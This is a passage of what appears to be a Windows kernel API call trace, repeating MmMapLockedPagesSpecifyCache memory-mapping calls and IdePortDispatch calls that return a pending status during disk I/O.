(MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003572000 [0084.050] IdePortDispatch () returned 0x103 [0084.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003575000 [0084.051] IdePortDispatch () returned 0x103 [0084.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003578000 [0084.052] IdePortDispatch () returned 0x103 [0084.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0084.053] IdePortDispatch () returned 0x103 [0084.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357e000 [0084.054] IdePortDispatch () returned 0x103 [0084.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003591000 [0084.055] IdePortDispatch () returned 0x103 [0084.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003594000 [0084.056] IdePortDispatch () returned 0x103 [0084.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d8000 [0084.058] IdePortDispatch () returned 0x103 [0084.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035da000 [0084.059] IdePortDispatch () returned 0x103 [0084.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035dd000 [0084.060] IdePortDispatch () returned 0x103 [0084.070] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0084.070] IdePortDispatch () returned 0x103 [0084.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d24000 [0084.072] IdePortDispatch () returned 0x103 [0084.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0084.073] IdePortDispatch () returned 0x103 [0084.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2a000 [0084.074] IdePortDispatch () returned 0x103 [0084.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.081] IdePortDispatch () returned 0x103 [0084.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a5000 [0084.083] IdePortDispatch () returned 0x103 [0084.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0084.085] IdePortDispatch () returned 0x103 [0084.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dc000 [0084.086] IdePortDispatch () returned 0x103 [0084.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b75000 [0084.093] IdePortDispatch () returned 0x103 [0084.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8d000 [0084.094] IdePortDispatch () returned 0x103 [0084.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba3000 [0084.096] IdePortDispatch () returned 0x103 [0084.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bab000 [0084.096] IdePortDispatch () returned 0x103 [0084.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb1000 [0084.099] IdePortDispatch () returned 0x103 [0084.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb3000 [0084.100] IdePortDispatch () returned 0x103 [0084.101] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0084.101] IdePortDispatch () returned 0x103 [0084.102] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0084.102] IdePortDispatch () returned 0x103 [0084.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bed000 [0084.104] IdePortDispatch () returned 0x103 [0084.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf0000 [0084.105] IdePortDispatch () returned 0x103 [0084.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf3000 [0084.106] IdePortDispatch () returned 0x103 [0084.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0084.110] IdePortDispatch () returned 0x103 [0084.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd3000 [0084.111] IdePortDispatch () returned 0x103 [0084.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd6000 [0084.112] IdePortDispatch () returned 0x103 [0084.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd9000 [0084.113] IdePortDispatch () returned 0x103 [0084.120] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0084.120] IdePortDispatch () returned 0x103 [0084.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0084.121] IdePortDispatch () returned 0x103 [0084.129] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0084.130] IdePortDispatch () returned 0x103 [0084.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7d000 [0084.130] IdePortDispatch () returned 0x103 [0084.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b85000 [0084.131] IdePortDispatch () returned 0x103 [0084.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8d000 [0084.131] IdePortDispatch () returned 0x103 [0084.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0084.132] IdePortDispatch () returned 0x103 [0084.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9d000 [0084.132] IdePortDispatch () returned 0x103 [0084.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003490000 [0084.144] IdePortDispatch () returned 0x103 [0084.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003498000 [0084.145] IdePortDispatch () returned 0x103 [0084.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0084.145] IdePortDispatch () returned 0x103 [0084.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0084.146] IdePortDispatch () returned 0x103 [0084.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0084.146] IdePortDispatch () returned 0x103 [0084.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0084.146] IdePortDispatch () returned 0x103 [0084.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0084.147] IdePortDispatch () returned 0x103 [0084.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d8000 [0084.147] IdePortDispatch () returned 0x103 [0084.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0084.148] IdePortDispatch () returned 0x103 [0084.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0084.148] IdePortDispatch () returned 0x103 [0084.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0084.149] IdePortDispatch () returned 0x103 [0084.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0084.149] IdePortDispatch () returned 0x103 [0084.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0084.150] IdePortDispatch () returned 0x103 [0084.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003528000 [0084.151] IdePortDispatch () returned 0x103 [0084.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003530000 [0084.152] IdePortDispatch () returned 0x103 [0084.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0084.152] IdePortDispatch () returned 0x103 [0084.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0084.153] IdePortDispatch () returned 0x103 [0084.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0084.153] IdePortDispatch () returned 0x103 [0084.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0084.154] IdePortDispatch () returned 0x103 [0084.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003568000 [0084.154] IdePortDispatch () returned 0x103 [0084.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0084.154] IdePortDispatch () returned 0x103 [0084.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003578000 [0084.155] IdePortDispatch () returned 0x103 [0084.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0084.155] IdePortDispatch () returned 0x103 [0084.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0084.156] IdePortDispatch () returned 0x103 [0084.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0084.156] IdePortDispatch () returned 0x103 [0084.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a8000 [0084.157] IdePortDispatch () returned 0x103 [0084.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b0000 [0084.157] IdePortDispatch () returned 0x103 [0084.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.178] IdePortDispatch () returned 0x103 [0084.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003519000 [0084.193] IdePortDispatch () returned 0x103 [0084.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0084.202] IdePortDispatch () returned 0x103 [0084.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be1000 [0084.203] IdePortDispatch () returned 0x103 [0084.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be9000 [0084.204] IdePortDispatch () returned 0x103 [0084.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0084.204] IdePortDispatch () returned 0x103 [0084.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0084.205] IdePortDispatch () returned 0x103 [0084.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0084.205] IdePortDispatch () returned 0x103 [0084.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0084.206] IdePortDispatch () returned 0x103 [0084.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0084.207] IdePortDispatch () returned 0x103 [0084.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0084.207] IdePortDispatch () returned 0x103 [0084.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0084.208] IdePortDispatch () returned 0x103 [0084.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c68000 [0084.208] IdePortDispatch () returned 0x103 [0084.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0084.208] IdePortDispatch () returned 0x103 [0084.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c78000 [0084.209] IdePortDispatch () returned 0x103 [0084.210] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0084.210] IdePortDispatch () returned 0x103 [0084.210] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0084.210] IdePortDispatch () returned 0x103 [0084.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0084.211] IdePortDispatch () returned 0x103 [0084.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0084.211] IdePortDispatch () returned 0x103 [0084.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0084.212] IdePortDispatch () returned 0x103 [0084.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca8000 [0084.212] IdePortDispatch () returned 0x103 [0084.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0084.213] IdePortDispatch () returned 0x103 [0084.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0084.213] IdePortDispatch () returned 0x103 [0084.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc0000 [0084.214] IdePortDispatch () returned 0x103 [0084.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc8000 [0084.214] IdePortDispatch () returned 0x103 [0084.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0084.214] IdePortDispatch () returned 0x103 [0084.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0084.215] IdePortDispatch () returned 0x103 [0084.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0084.215] IdePortDispatch () returned 0x103 [0084.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0084.216] IdePortDispatch () returned 0x103 [0084.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0084.216] IdePortDispatch () returned 0x103 [0084.223] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0084.223] IdePortDispatch () returned 0x103 [0084.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0084.224] IdePortDispatch () returned 0x103 [0084.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0084.224] IdePortDispatch () returned 0x103 [0084.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0084.225] IdePortDispatch () returned 0x103 [0084.225] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0084.225] IdePortDispatch () returned 0x103 [0084.225] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0084.226] IdePortDispatch () returned 0x103 [0084.226] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0084.226] IdePortDispatch () returned 0x103 